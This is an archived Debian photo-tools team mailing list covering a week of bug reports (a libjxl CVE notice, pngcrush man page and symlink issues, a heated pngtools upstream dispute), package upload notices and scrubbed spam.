From atzlinux at sina.com  Mon Jun  1 04:52:41 2026
From: atzlinux at sina.com (=?UTF-8?B?eGlhbyBzaGVuZyB3ZW4o6IKW55ub5paHKQ==?=)
Date: Mon, 1 Jun 2026 11:52:41 +0800
Subject: Bug#1138575: jpeg-xl: CVE-2025-70103
In-Reply-To: <178025445978.831712.4238070275982601323.reportbug@eldamar.lan>
References: <178025445978.831712.4238070275982601323.reportbug@eldamar.lan>
 <178025445978.831712.4238070275982601323.reportbug@eldamar.lan>
Message-ID: <27f79f3c-02d6-4857-bcac-4ccf5c022089@sina.com>

Hi,

? 2026/6/1 03:07, Salvatore Bonaccorso ??:
> Source: jpeg-xl
> Version: 0.11.2-5
> Severity: important
> Tags: security upstream
> Forwarded: https://github.com/libjxl/libjxl/issues/4337
> X-Debbugs-Cc: carnil at debian.org, Debian Security Team <team at security.debian.org>
> 
> Hi,
> 
> The following vulnerability was published for jpeg-xl.
> 
> CVE-2025-70103[0]:
> | Heap buffer overflow vulnerability in libjxl 0.12.0 via crafted PBM
> | images to the jxl::extras::DecodeImagePNM function in file
> | lib/extras/dec/pnm.cc.

The libjxl upstream is not release version 0.12.0 now, 
why record this CVE on un-release version?  

Is it should record on the released version 0.11.2 ?

> 
> 
> If you fix the vulnerability please also make sure to include the
> CVE (Common Vulnerabilities & Exposures) id in your changelog entry.
> 
> For further information see:
> 
> [0] https://security-tracker.debian.org/tracker/CVE-2025-70103
>     https://www.cve.org/CVERecord?id=CVE-2025-70103
> [1] https://github.com/libjxl/libjxl/issues/4337
> [2] https://www.openwall.com/lists/oss-security/2026/05/30/7
> [3] https://github.com/libjxl/libjxl/pull/4380
> 
> Please adjust the affected versions in the BTS as needed.
> 
> Regards,
> Salvatore
> 

Regards,

-- 
??? xiao sheng wen -- Debian Developer(atzlinux)
Debian QA page: https://qa.debian.org/developer.php?login=atzlinux%40debian.org
GnuPG Public Key: 0x00186602339240CB

-------------- next part --------------
A non-text attachment was scrubbed...
Name: OpenPGP_signature.asc
Type: application/pgp-signature
Size: 840 bytes
Desc: OpenPGP digital signature
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260601/a9db2e31/attachment.sig>

From noreply at release.debian.org  Mon Jun  1 05:39:06 2026
From: noreply at release.debian.org (Debian testing watch)
Date: Mon, 01 Jun 2026 04:39:06 +0000
Subject: feh 3.12.2-1 MIGRATED to testing
Message-ID: <E1wTuQc-002y7w-38@respighi.debian.org>

FYI: The status of the feh source package
in Debian's testing distribution has changed.

  Previous version: 3.12.1-1
  Current version:  3.12.2-1

-- 
This email is automatically generated once a day.  As the installation of
new packages into testing happens multiple times a day you will receive
later changes on the next day.
See https://release.debian.org/testing-watch/ for more information.


From support at alioth-lists-mx.debian.net  Tue Jun  2 06:17:37 2026
From: support at alioth-lists-mx.debian.net (support at alioth-lists-mx.debian.net)
Date: 2 Jun 2026 05:17:37 +0000
Subject: =?UTF-8?B?4pqgIFlvdXIgbWFpbGJveCBpcyBhbG1vc3QgZnVsbCA2LzIvMjAyNiA1OjE3OjM3Lg==?=
Message-ID: <20260602051737.4504FD03AE82A0AD@alioth-lists-mx.debian.net>

An HTML attachment was scrubbed...
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260602/3463f758/attachment.htm>

From emma2 at ro.ru  Tue Jun  2 08:07:33 2026
From: emma2 at ro.ru (=?UTF-8?Q?Emma_M=C3=BCller?=)
Date: Tue, 2 Jun 2026 09:07:33 +0200
Subject: Bug#1132795: Drop =?UTF-8?Q?=E2=80=9CResolution:?= (not
 specified)=?UTF-8?Q?=E2=80=9D?= if no pHYs
In-Reply-To: <d14f656a-957c-4320-a9a5-83d204c71756@sina.com>
References: <ff83b4d66dcc0a9c7f6f0ccb8fb48e2f@mail.rambler.ru>
 <a559d14c-7247-4536-9b89-6cac2e8d12f8@ro.ru>
 <d14f656a-957c-4320-a9a5-83d204c71756@sina.com>
 <ff83b4d66dcc0a9c7f6f0ccb8fb48e2f@mail.rambler.ru>
Message-ID: <07c3bd5c-490f-430a-a24c-636e3c8f0851@ro.ru>

Thank you for forwarding to upstream. I read the comment ?Thank you for your complaints about a 25 year old software package on a random other site. I particularly appreciate the effort Emma put into proposing a fix to the code.? of the upstream maintainer. He seems to have generated his prior fixes with AI (Claude Opus 4.6, hence the questionable behavior), and in his comment, he tries to be sarcastic for no good reason: Debian BTS is not ?random?, and a plain user is not expected to suggest fixes. It wouldn't surprise me if the aforementioned quotation was also AI-generated.

I looked into his other comments on the closed bug reports, and they were on topic. Any idea what to do if the upstream maintainer is clearly not that well?

Am 28.05.26 um 03:59 schrieb xiao sheng wen(???):
> Control: forwarded -1 https://github.com/mikalstill/pngtools/issues/37


From atzlinux at sina.com  Tue Jun  2 09:09:52 2026
From: atzlinux at sina.com (=?UTF-8?B?eGlhbyBzaGVuZyB3ZW4o6IKW55ub5paHKQ==?=)
Date: Tue, 2 Jun 2026 16:09:52 +0800
Subject: Bug#1132795: Drop =?UTF-8?Q?=E2=80=9CResolution:?= (not
 specified)=?UTF-8?Q?=E2=80=9D?= if no pHYs
In-Reply-To: <07c3bd5c-490f-430a-a24c-636e3c8f0851@ro.ru>
References: <ff83b4d66dcc0a9c7f6f0ccb8fb48e2f@mail.rambler.ru>
 <a559d14c-7247-4536-9b89-6cac2e8d12f8@ro.ru>
 <d14f656a-957c-4320-a9a5-83d204c71756@sina.com>
 <07c3bd5c-490f-430a-a24c-636e3c8f0851@ro.ru>
 <ff83b4d66dcc0a9c7f6f0ccb8fb48e2f@mail.rambler.ru>
Message-ID: <b63a4acc-ed4f-42a8-a195-3328b6fddb87@sina.com>

Hi,

? 2026/6/2 15:07, Emma M?ller ??:
> Thank you for forwarding to upstream. I read the comment ?Thank you for your complaints about a 25 year old software package on a random other site. I particularly appreciate the effort Emma put into proposing a fix to the code.? of the upstream maintainer. He seems to have generated his prior fixes with AI (Claude Opus 4.6, hence the questionable behavior), and in his comment, he tries to be sarcastic for no good reason: Debian BTS is not ?random?, and a plain user is not expected to suggest fixes. It wouldn't surprise me if the aforementioned quotation was also AI-generated.
> 
> I looked into his other comments on the closed bug reports, and they were on topic. Any idea what to do if the upstream maintainer is clearly not that well?

Upstream first, do nice communicate to upstream author is better.

Certainly, we are all volunteer in open source project, upstream author sometimes perhaps 
wouldn't fix some bugs.

Debian bugreport is public, perhaps some people would contribute a patch.


>> Control: forwarded -1 https://github.com/mikalstill/pngtools/issues/37

Wishes!

-- 
??? xiao sheng wen -- Debian Developer(atzlinux)
Debian QA page: https://qa.debian.org/developer.php?login=atzlinux%40debian.org
GnuPG Public Key: 0x00186602339240CB

-------------- next part --------------
A non-text attachment was scrubbed...
Name: OpenPGP_signature.asc
Type: application/pgp-signature
Size: 840 bytes
Desc: OpenPGP digital signature
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260602/6c8d62db/attachment.sig>

From noreply at release.debian.org  Wed Jun  3 05:39:10 2026
From: noreply at release.debian.org (Debian testing watch)
Date: Wed, 03 Jun 2026 04:39:10 +0000
Subject: openjph 0.27.3-1 MIGRATED to testing
Message-ID: <E1wUdNm-005KcK-2C@respighi.debian.org>

FYI: The status of the openjph source package
in Debian's testing distribution has changed.

  Previous version: 0.27.0-1
  Current version:  0.27.3-1

-- 
This email is automatically generated once a day.  As the installation of
new packages into testing happens multiple times a day you will receive
later changes on the next day.
See https://release.debian.org/testing-watch/ for more information.


From support at hugues-l.com  Wed Jun  3 12:43:31 2026
From: support at hugues-l.com (CNN Health)
Date: Wed, 03 Jun 2026 11:43:31 +0000
Subject: You need to see this before they take it down | ID:12004-75464
Message-ID: <f7547d1d6f1f4cf5ab0998d108f3760a@hugues-l.com>

An HTML attachment was scrubbed...
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260603/983c3d24/attachment.htm>

From info at fc-session.jp  Thu Jun  4 04:30:52 2026
From: info at fc-session.jp (=?ISO-2022-JP?B?GyRCQFBFaBsoQg==?= =?ISO-2022-JP?B?GyRCPFM1KBsoQg==?=)
Date: Thu,  4 Jun 2026 12:30:52 +0900 (JST)
Subject: =?ISO-2022-JP?B?MRskQj9NJEc7TyRhJGshIkcvPiYbKEI=?=
 =?ISO-2022-JP?B?MRskQjIvMV8lUyU4JU0lORsoQg==?=
Message-ID: <20260604033129.21E92FEBF3@r9216.ps.combzmail.jp>

???????????????????????


????????????????
????????????????????????

????????????????????
?30????????????
?
?
????????????1???1?5???????
???1????????
?
????????????????????????
???????????????????????
?
???????????????
?????????????????

------------------------------- FC???????? ------

???2,000?????10????????96.4?

???? ????????????????
???????? ? ???????????

????????????????
???https://fc-daikichi-kaitori.biz/26/


?? ????????????????FC???
?? ???5?28????14:00?14:30?????
????? 6?10????14:00?14:30
????? 6?25????14:00?14:30
???? ??????????
---------------------------------------------------------

?? ????????
?????????????????
??????????????????
???????????????
??????????????????
?????????????????????


????????????????????????
??????????????????????????????
????????
??????????
??????????
???3??????????
?
?????????????????????????????????
???????????????????

??????????????????
???2,000???????????????????????????


??????????????????????
???????????????????
????????????????????????????


???????????????????????????????????
???????????????????????
?
???????????????????
???????????
?
?????????
?https://fc-daikichi-kaitori.biz/26/
?
??????????????????????
????????????????
???0120-889-859
???????????7-13-6
??????????????????????
?????????????????????????????
https://fc-daikichi-kaitori.biz/mail/
??????????????????????


From MdAyq6 at ro.ru  Thu Jun  4 06:34:31 2026
From: MdAyq6 at ro.ru (Md Ayquassar)
Date: Thu, 4 Jun 2026 07:34:31 +0200
Subject: Bug#1138807: the manpages of pngcrush should be formatted properly
Message-ID: <75210fa1-40b2-4fe3-9472-0d755d333853@ro.ru>

Package: pngcrush
Version: 1.8.13-3

Maximize an xterm window and issue `man pngcrush`. You see, e.g., this:

?
        -oldtimestamp (Do not reset file modification time)
  
               -ow (Overwrite)
  
        Overwrite the input file.
               The input file is removed
  
               and the temporary file (default "pngout.png") is renamed to the input file after recompression and therefore they must reside on the same filesystem.
  
               CAUTION: If you are running multiple instances of pngcrush in parallel, you must specify a different temporary filename for each instance, to avoid collisions.
  
               -q (quiet) suppresses console output except for warnings
  
               and summary of results.
  
        -reduce (do lossless color-type or bit-depth reduction)
  
        (if possible).
               Also reduces palette length if
  
        possible.
               Currently only attempts to reduce the
  
        bit depth from 16 to 8.
               Reduces all-gray RGB
  
        or RGBA image to gray or gray-alpha.
               Reduces
  
               all-opaque RGBA or GA image to RGB or grayscale.  Since pngcrush version 1.8.0, -reduce is on by default, and you can disable it with -noreduce.
  
        -rem chunkname (or "alla" or "allb")
  
               Name of an ancillary chunk or optional PLTE to be removed.  Be careful with this.  Don't use this feature to remove transparency, gamma, copyright, or other valuable information.  To remove several different chunks, repeat: -rem tEXt -rem pHYs.  Known chunks (those in the PNG 1.1 spec or extensions doc?
               ument) can be named with all lower-case letters, so "-rem bkgd" is equivalent to "-rem bKGD".  But note: "-rem text" removes all forms of text chunks; Exact case is required to remove unknown chunks.  To do surgery with a chain-saw, "-rem alla" removes all known ancillary chunks  except  for  tRNS,  and
               "-rem allb" removes all but tRNS and gAMA.
?

See the attachment, too. As you see, the formatting is garbage. E.g., ?-ow? starts too far on the right and should be moved left and left-align with ?-oldtimestamp?. The description of ?-reduce? should be vertically compacted into a single para and moved to the right. Please fix this.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: manpage_overwrite_reduce.png
Type: image/png
Size: 6865 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260604/f7926c17/attachment-0001.png>

From MdAyq6 at ro.ru  Thu Jun  4 06:57:22 2026
From: MdAyq6 at ro.ru (Md Ayquassar)
Date: Thu, 4 Jun 2026 07:57:22 +0200
Subject: Bug#1138812: With =?UTF-8?Q?=E2=80=9C-ow=E2=80=9D,
 ?= write through soft links or bail out on soft links or at least
 warn on soft links
Message-ID: <d465f8d4-0056-433c-b706-6e28d226daf7@ro.ru>

Package: pngcrush
Version: 1.8.13-3

pngcrush -ow softlink_to_a_png_file

currently removes the soft link and replaces it with a regular file. No warning is issued. Changing the file type silently by an image-processing tool is substandard behavior.
This is unwanted, particularly if you run this in scripts, such as

for file in *.png; do pngcrush -ow $file; done

In this situation, if the current directory contains a mixture of links with the extension .png and regular .png files, all the soft links will be silently turned into regular files, and their origins get forgotten forever.

At the very least, pngcrush should warn the caller or simply bail out with an error message and a nonzero error code. In my personal use cases, I need the tool to write through a soft link. (An alternative solution, though an overkill for me, would be to have an option, say, ?-dereference?, which would allow for writing through a soft link specified with the option ?-ow? and bailing out on a soft link if ?-dereference? is not supplied.)


From MdAyq6 at ro.ru  Thu Jun  4 06:59:33 2026
From: MdAyq6 at ro.ru (Md Ayquassar)
Date: Thu, 4 Jun 2026 07:59:33 +0200
Subject: Bug#1138807: Acknowledgement (the manpages of pngcrush should be
 formatted properly)
In-Reply-To: <handler.1138807.B.17805512923520091.ack@bugs.debian.org>
References: <75210fa1-40b2-4fe3-9472-0d755d333853@ro.ru>
 <handler.1138807.B.17805512923520091.ack@bugs.debian.org>
 <75210fa1-40b2-4fe3-9472-0d755d333853@ro.ru>
Message-ID: <3845df9a-59e4-437a-9974-d162d18002c8@ro.ru>

The option -q with its description should also be properly formatted, as it otherwise gets unnoticed under -ow.


From ftpmaster at ftp-master.debian.org  Fri Jun  5 08:57:41 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Fri, 05 Jun 2026 07:57:41 +0000
Subject: Processing of pngcrush_1.8.13-5_source.changes
Message-ID: <E1wVPQz-006QNJ-0j@usper.debian.org>

pngcrush_1.8.13-5_source.changes uploaded successfully to localhost
along with the files:
  pngcrush_1.8.13-5.dsc
  pngcrush_1.8.13-5.debian.tar.xz
  pngcrush_1.8.13-5_source.buildinfo

Greetings,

	Your Debian queue daemon (running on host usper.debian.org)


From owner at bugs.debian.org  Fri Jun  5 08:59:02 2026
From: owner at bugs.debian.org (Debian Bug Tracking System)
Date: Fri, 05 Jun 2026 07:59:02 +0000
Subject: Processed: Fwd: Bug#1132795: Drop =?UTF-8?Q?=E2=80=9CResolution:?=
 (not specified)=?UTF-8?Q?=E2=80=9D?= if no pHYs
References: <c6b76dfc-bedb-477c-bd4c-588241160bdc@debian.org>
 <ff83b4d66dcc0a9c7f6f0ccb8fb48e2f@mail.rambler.ru>
Message-ID: <handler.s.B1132795.178064620946904.transcript@bugs.debian.org>

Processing control commands:

> tags -1 upstream
Bug #1132795 [pngtools] ?Resolution: (not specified)? is pointless
Added tag(s) upstream.

-- 
1132795: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1132795
Debian Bug Tracking System
Contact owner at bugs.debian.org with problems


From atzlinux at debian.org  Fri Jun  5 08:56:38 2026
From: atzlinux at debian.org (=?UTF-8?B?eGlhbyBzaGVuZyB3ZW4o6IKW55ub5paHKQ==?=)
Date: Fri, 5 Jun 2026 15:56:38 +0800
Subject: Bug#1132795: Fwd: Bug#1132795: Drop =?UTF-8?Q?=E2=80=9CResolution:?=
 (not specified)=?UTF-8?Q?=E2=80=9D?= if no pHYs
In-Reply-To: <2dd6a023-0054-4860-b8a2-91960887aaad@sina.com>
References: <2dd6a023-0054-4860-b8a2-91960887aaad@sina.com>
 <ff83b4d66dcc0a9c7f6f0ccb8fb48e2f@mail.rambler.ru>
Message-ID: <c6b76dfc-bedb-477c-bd4c-588241160bdc@debian.org>

Control: tags -1 upstream

My this first reply email is lost, I use my Debian email forward it again.



-------- ????? --------
??: Re: Bug#1132795: Drop ?Resolution: (not specified)? if no pHYs
??: Wed, 3 Jun 2026 09:36:26 +0800
???: xiao sheng wen(???) <atzlinux at sina.com>
????: 1132795 at bugs.debian.org
??: https://www.atzlinux.com
???: Emma M?ller <emma2 at ro.ru>, 1132795 at bugs.debian.org

Control: tags -1 upstream

Hi,

You reply my email to my personally email address only, please CC to 1132795 at bugs.debian.org too.

Debian bugreport is public:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1132795

every one can read and reply it.

? 2026/6/3 06:45, Emma M?ller ??:
> Hi Xiao!
> 
> Am 02.06.26 um 10:09 schrieb xiao sheng wen(???):
> 
>> Upstream first, do nice communicate to upstream author is better.
> 
> Yes. If you can think of a nice message to the author that would nudge him to do what he by default should stand up for (maintain the package), please do. As for me, given his derisive tone, I cannot come up even with a single word.
> 
>> Certainly, we are all volunteer in open source project, upstream author sometimes perhaps
>> wouldn't fix some bugs.
> 
> I appreciate your work and the work of the maintainers in general. If an upstream maintainer plainly rejects to fix a bug, it'd be unfortunate, but we're used to this, so we sigh and move on in the case of a polite and clear rejection.
> 
> At the same time, specifically in the case of this bug, something new and strange happened. Namely, the bug which has to be fixed was introduced by the AI in the first place, the upstream maintainer did not close the upstream bug report, and his comment was disrespectful/hostile towards us: as what he says about the package age and my non-contribution is already known, and what he says about Debian is wrong, his answer is, put politely, worse than a cynical smirk; such an unprofessional answer means that something went wrong with him. Further, the comment smells like being generated by AI (https://textguard.ai says 67%, and the upstream maintainer is deeply into AI according to his Web page). What puzzles me is whether there is any way to positively proceed from here apart from living with the bug. Is any fork/clone of pnginfo known?

The libpng-tools package has one command pngfix can do some png fix.
https://libpng.org/pub/png/libpng.html

pngchunks /usr/share/inkscape/themes/Minwaita-Inkscape/gtk-3.0/assets/bullet-symbolic.symbolic.png

This can get more detail info about png chunks.

> 
>> Debian bugreport is public, perhaps some people would contribute a patch.
> 
> I sincerely hope that you are right and that I'm wrong, but a typical user won't. (For example, for me, setting up a development environment (which I don't have installed currently on the production machine, and I have no usable spare machine), checking out the code, reading it and finding the culprit, changing the code, testing it, and pushing the changes might be a full-time job for a few full days, even if I had the rights to push to the repository.) Certain Linux nerds technically could this and do this sometimes, but many/most of us, including myself, are already overcommitted and have to take hard choices on which goals to remove from our huge todo lists for the next half a century ?

I'm sorry for my English word.
I said the word "some people" who include the open source developer, not only normal end user.
 
The package pngtools is team maintainer by Debian photo team:
Debian PhotoTools Maintainers <pkg-phototools-devel at lists.alioth.debian.org>
https://qa.debian.org/developer.php?login=pkg-phototools-devel at lists.alioth.debian.org

The Debian bugreport of any package maintainer by Debian photo team also CC to this mailing lists.
Our team member will receive this bugreport.
https://salsa.debian.org/groups/debian-phototools-team/-/group_members

The issue on the upstream github, also is public.
https://github.com/mikalstill/pngtools/issues/37

If there one "open source developer" find these information and also has interest to fix this bug,
they will do it.


Good lucky!

-- 
??? xiao sheng wen -- Debian Developer(atzlinux)
Debian QA page: https://qa.debian.org/developer.php?login=atzlinux%40debian.org
GnuPG Public Key: 0x00186602339240CB
-------------- next part --------------
A non-text attachment was scrubbed...
Name: OpenPGP_0x00186602339240CB.asc
Type: application/pgp-keys
Size: 39307 bytes
Desc: OpenPGP public key
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260605/3d8a9e94/attachment-0001.asc>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: OpenPGP_signature.asc
Type: application/pgp-signature
Size: 840 bytes
Desc: OpenPGP digital signature
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260605/3d8a9e94/attachment-0001.sig>

From ftpmaster at ftp-master.debian.org  Fri Jun  5 09:20:46 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Fri, 05 Jun 2026 08:20:46 +0000
Subject: pngcrush_1.8.13-5_source.changes ACCEPTED into unstable
Message-ID: <E1wVPnK-00000002nu9-2SiT@fasolo.debian.org>

Thank you for your contribution to Debian.



Accepted:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Format: 1.8
Date: Fri, 05 Jun 2026 15:41:17 +0800
Source: pngcrush
Architecture: source
Version: 1.8.13-5
Distribution: unstable
Urgency: medium
Maintainer: Debian PhotoTools Maintainers <pkg-phototools-devel at lists.alioth.debian.org>
Changed-By: xiao sheng wen <atzlinux at debian.org>
Closes: 1138807
Changes:
 pngcrush (1.8.13-5) unstable; urgency=medium
 .
   * Team upload.
   * Bump Standards-Version: 4.7.4
   * d/control:
       - remove Rules-Requires-Root: no line, useless
       - remove Priority: optional line
   * d/pngcrush.1: some options use .HP, Closes: #1138807
Checksums-Sha1:
 8ca07a01c9daf27638705b140ead4e4ffb217eb3 2016 pngcrush_1.8.13-5.dsc
 c5379a8740821cae69ddf1300330fdb2640c5a1e 14260 pngcrush_1.8.13-5.debian.tar.xz
 3cb8dc455804126a751263fdfd00dfe2c7748542 6150 pngcrush_1.8.13-5_source.buildinfo
Checksums-Sha256:
 6ad2eab9e15066dbe8d30c16cf9c2777dedb76e7cf21d9fe4015769d7f7a187b 2016 pngcrush_1.8.13-5.dsc
 d161b624c0ddfe751160efe8664759949b3da98aa8827fec7efcd3ba95d16adf 14260 pngcrush_1.8.13-5.debian.tar.xz
 4e1cc3384554ad8f712db887c84042ba416e3e13753dca8f62ed4fb13ebf70db 6150 pngcrush_1.8.13-5_source.buildinfo
Files:
 773551d78dfa791be439bccf806d9e64 2016 graphics - pngcrush_1.8.13-5.dsc
 fdff2cd5292a024c4c87b368291fa1e2 14260 graphics - pngcrush_1.8.13-5.debian.tar.xz
 18f75f8cc2a81636578f9736fee33e23 6150 graphics - pngcrush_1.8.13-5_source.buildinfo

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEvGv7H5NUQYeSuhtTJ2Egg8PSprAFAmoifsIACgkQJ2Egg8PS
prAEGA/+OPL8u37je6aUrzM3xHMWRLCLAzUc2Cd+cubYbK8X8dv12MpSIx8Ul22A
cS1bjSzRTmVzWwOqZqYdtjiwrk9suKSDjSpxVx1fkY0mScrk5E998uWGFUG/J5Hx
0EsTnkSw+hoNnG2RE2tiGqllH9h88qsIeaaoE5h98SKfAlIvgSsvLLe8DsfRpuSl
K1CbBCadtJEEcWyzTuYwsKL9AgONrqDzxV1Gs1f0lBat+J2bNMaL3SIt2gdcHHvB
pEJsaw/8Ciqb3mKsFuqadznBqpWY8R3QT1KEjIXFx/qF0Z43r5cRxJL3KB2C8k1N
yOJFUivULr6/c2f57FttLCdLGR286Sp5kkpQd3zlR7dd4S3ivyC1F/kYcW9qzreU
Uo8TEj0TwZm143DlsrJ+XnNM/0Jqe8RLBcsJugLjjOfTJfGiy3ehHdinovudatQQ
gtYOnHs3/N8/t2tKuTdUjWSWzLBOhwlWaogg+HJLJDdFUE2OHO3buxNsWl4GMtTW
UfvFlFur9y72aVTm+9A51T8VzkyFJAI1xxXfyYexO3sT296/5DcWFbCFfFU1rb21
jw+hYU6vjq8AxsdPvJzTS3b9PiaB/kEKJ+50rWEh5SQzsNNNRKHwSQyKqTPX3rHY
W0hb1fHWAXd9UohF8LlZccg451UxUIred0fcG09IDS1IwRmHGlo=
=/FA2
-----END PGP SIGNATURE-----

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 228 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260605/dc9c5ff6/attachment.sig>

From owner at bugs.debian.org  Fri Jun  5 09:22:03 2026
From: owner at bugs.debian.org (Debian Bug Tracking System)
Date: Fri, 05 Jun 2026 08:22:03 +0000
Subject: Bug#1138807: marked as done (the manpages of pngcrush should be
 formatted properly)
References: <E1wVPnK-00000002nuJ-2q4a@fasolo.debian.org>
 <75210fa1-40b2-4fe3-9472-0d755d333853@ro.ru>
Message-ID: <handler.1138807.D1138807.178064764758285.ackdone@bugs.debian.org>

Your message dated Fri, 05 Jun 2026 08:20:46 +0000
with message-id <E1wVPnK-00000002nuJ-2q4a at fasolo.debian.org>
and subject line Bug#1138807: fixed in pngcrush 1.8.13-5
has caused the Debian Bug report #1138807,
regarding the manpages of pngcrush should be formatted properly
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact owner at bugs.debian.org
immediately.)


-- 
1138807: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1138807
Debian Bug Tracking System
Contact owner at bugs.debian.org with problems
-------------- next part --------------
An embedded message was scrubbed...
From: Md Ayquassar <MdAyq6 at ro.ru>
Subject: the manpages of pngcrush should be formatted properly
Date: Thu, 4 Jun 2026 07:34:31 +0200
Size: 14108
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260605/b40be378/attachment-0002.eml>
-------------- next part --------------
An embedded message was scrubbed...
From: Debian FTP Masters <ftpmaster at ftp-master.debian.org>
Subject: Bug#1138807: fixed in pngcrush 1.8.13-5
Date: Fri, 05 Jun 2026 08:20:46 +0000
Size: 6719
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260605/b40be378/attachment-0003.eml>

From owner at bugs.debian.org  Fri Jun  5 09:41:02 2026
From: owner at bugs.debian.org (Debian Bug Tracking System)
Date: Fri, 05 Jun 2026 08:41:02 +0000
Subject: Processed: Re: Bug#1138812: With =?UTF-8?Q?=E2=80=9C-ow=E2=80=9D,?=
 write through soft links or bail out on soft links or at least warn on
 soft links
References: <6900f3a8-e91e-44f8-9b7d-2001b210bf6b@sina.com>
 <d465f8d4-0056-433c-b706-6e28d226daf7@ro.ru>
Message-ID: <handler.s.B1138812.178064872468077.transcript@bugs.debian.org>

Processing control commands:

> tags -1 upstream
Bug #1138812 [pngcrush] With ?-ow?, write through soft links or bail out on soft links or at least warn on soft links
Added tag(s) upstream.

-- 
1138812: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1138812
Debian Bug Tracking System
Contact owner at bugs.debian.org with problems


From atzlinux at sina.com  Fri Jun  5 09:28:55 2026
From: atzlinux at sina.com (=?UTF-8?B?eGlhbyBzaGVuZyB3ZW4o6IKW55ub5paHKQ==?=)
Date: Fri, 5 Jun 2026 16:28:55 +0800
Subject: Bug#1138812: With =?UTF-8?Q?=E2=80=9C-ow=E2=80=9D,
 ?= write through soft links or bail out on soft links or at least
 warn on soft links
In-Reply-To: <d465f8d4-0056-433c-b706-6e28d226daf7@ro.ru>
References: <d465f8d4-0056-433c-b706-6e28d226daf7@ro.ru>
 <d465f8d4-0056-433c-b706-6e28d226daf7@ro.ru>
Message-ID: <6900f3a8-e91e-44f8-9b7d-2001b210bf6b@sina.com>

Control: tags -1 upstream

Hi,

? 2026/6/4 13:57, Md Ayquassar ??:
> Package: pngcrush
> Version: 1.8.13-3
> 
> pngcrush -ow softlink_to_a_png_file
> 
> currently removes the soft link and replaces it with a regular file. No warning is issued. Changing the file type silently by an image-processing tool is substandard behavior.
> This is unwanted, particularly if you run this in scripts, such as
> 
> for file in *.png; do pngcrush -ow $file; done
> 
> In this situation, if the current directory contains a mixture of links with the extension .png and regular .png files, all the soft links will be silently turned into regular files, and their origins get forgotten forever.
The origins still on the disk.

> 
> At the very least, pngcrush should warn the caller or simply bail out with an error message and a nonzero error code. In my personal use cases, I need the tool to write through a soft link. (An alternative solution, though an overkill for me, would be to have an option, say, ?-dereference?, which would allow for writing through a soft link specified with the option ?-ow? and bailing out on a soft link if ?-dereference? is not supplied.)
> 
The pngcrush only a simple tool.

The filesystem links is a little complex for such a simple tool.


Regards,

-- 
??? xiao sheng wen -- Debian Developer(atzlinux)
Debian QA page: https://qa.debian.org/developer.php?login=atzlinux%40debian.org
GnuPG Public Key: 0x00186602339240CB

-------------- next part --------------
A non-text attachment was scrubbed...
Name: OpenPGP_signature.asc
Type: application/pgp-signature
Size: 840 bytes
Desc: OpenPGP digital signature
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260605/e7776a61/attachment.sig>

From mikal at stillhq.com  Fri Jun  5 11:53:58 2026
From: mikal at stillhq.com (Michael Still)
Date: Fri, 5 Jun 2026 20:53:58 +1000
Subject: Bug#1132795: Drop =?UTF-8?Q?=E2=80=9CResolution:?= (not
 specified)=?UTF-8?Q?=E2=80=9D?= requires more meaningful upstream interaction
References: <ff83b4d66dcc0a9c7f6f0ccb8fb48e2f@mail.rambler.ru>
Message-ID: <CAEd1pt62+kHUgxL2BYkcqh_jYGzmsusFhC6nx=4i+W3ZGBzr4g@mail.gmail.com>

Oh hello,

how nice of you all to be concerned for my mental health. Fortunately, I am
relatively content with my general state of mind. I do however have some
thoughts on this bug:

* Six words and a link is not a valid upstream bug report. Its super lovely
that you're over here chatting about me, but you really do need to provide
a meaningful report upstream if you expect a donation of my time to make a
change you desire. This is especially true given this code isn't a focus of
my attention and hasn't been for most of this century.

* Perhaps you could "sell" your request a bit better as well? "pointless"
and "Any idea what to do if the upstream maintainer is clearly not that
well" are perhaps not a great way to get me to do a thing for you? *
Additionally, I also don't think you've demonstrated that this is in fact a
bug, either on the debian bug tracker or the upstream bug tracker. Why do
you think its erroneous? The resolution of the image is in fact not
specified. Certainly I think the previous behaviour was worse [1], and
given I am the one who gets to merge things surely that counts for
something? Additionally, its super weird that you'd assume the use of a
modern coding assistant implies some sort of professional incompetence on
my part, especially when the commit as linked above is pretty clear cut. *
The output is also trivial to work around if you don't like it. Just grep
it away or whatever in whatever script you're wrapping pnginfo in. I will
consider a pull request on its merits when one is uploaded to github.
Michael 1:
https://github.com/mikalstill/pngtools/commit/b765d38baef047c7edd335aa9187f5b4278cecaa
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260605/0a40ccbe/attachment.htm>

From MdAyq6 at ro.ru  Sat Jun  6 04:11:18 2026
From: MdAyq6 at ro.ru (Md Ayquassar)
Date: Sat, 6 Jun 2026 05:11:18 +0200
Subject: Bug#1138812: With =?UTF-8?Q?=E2=80=9C-ow=E2=80=9D,
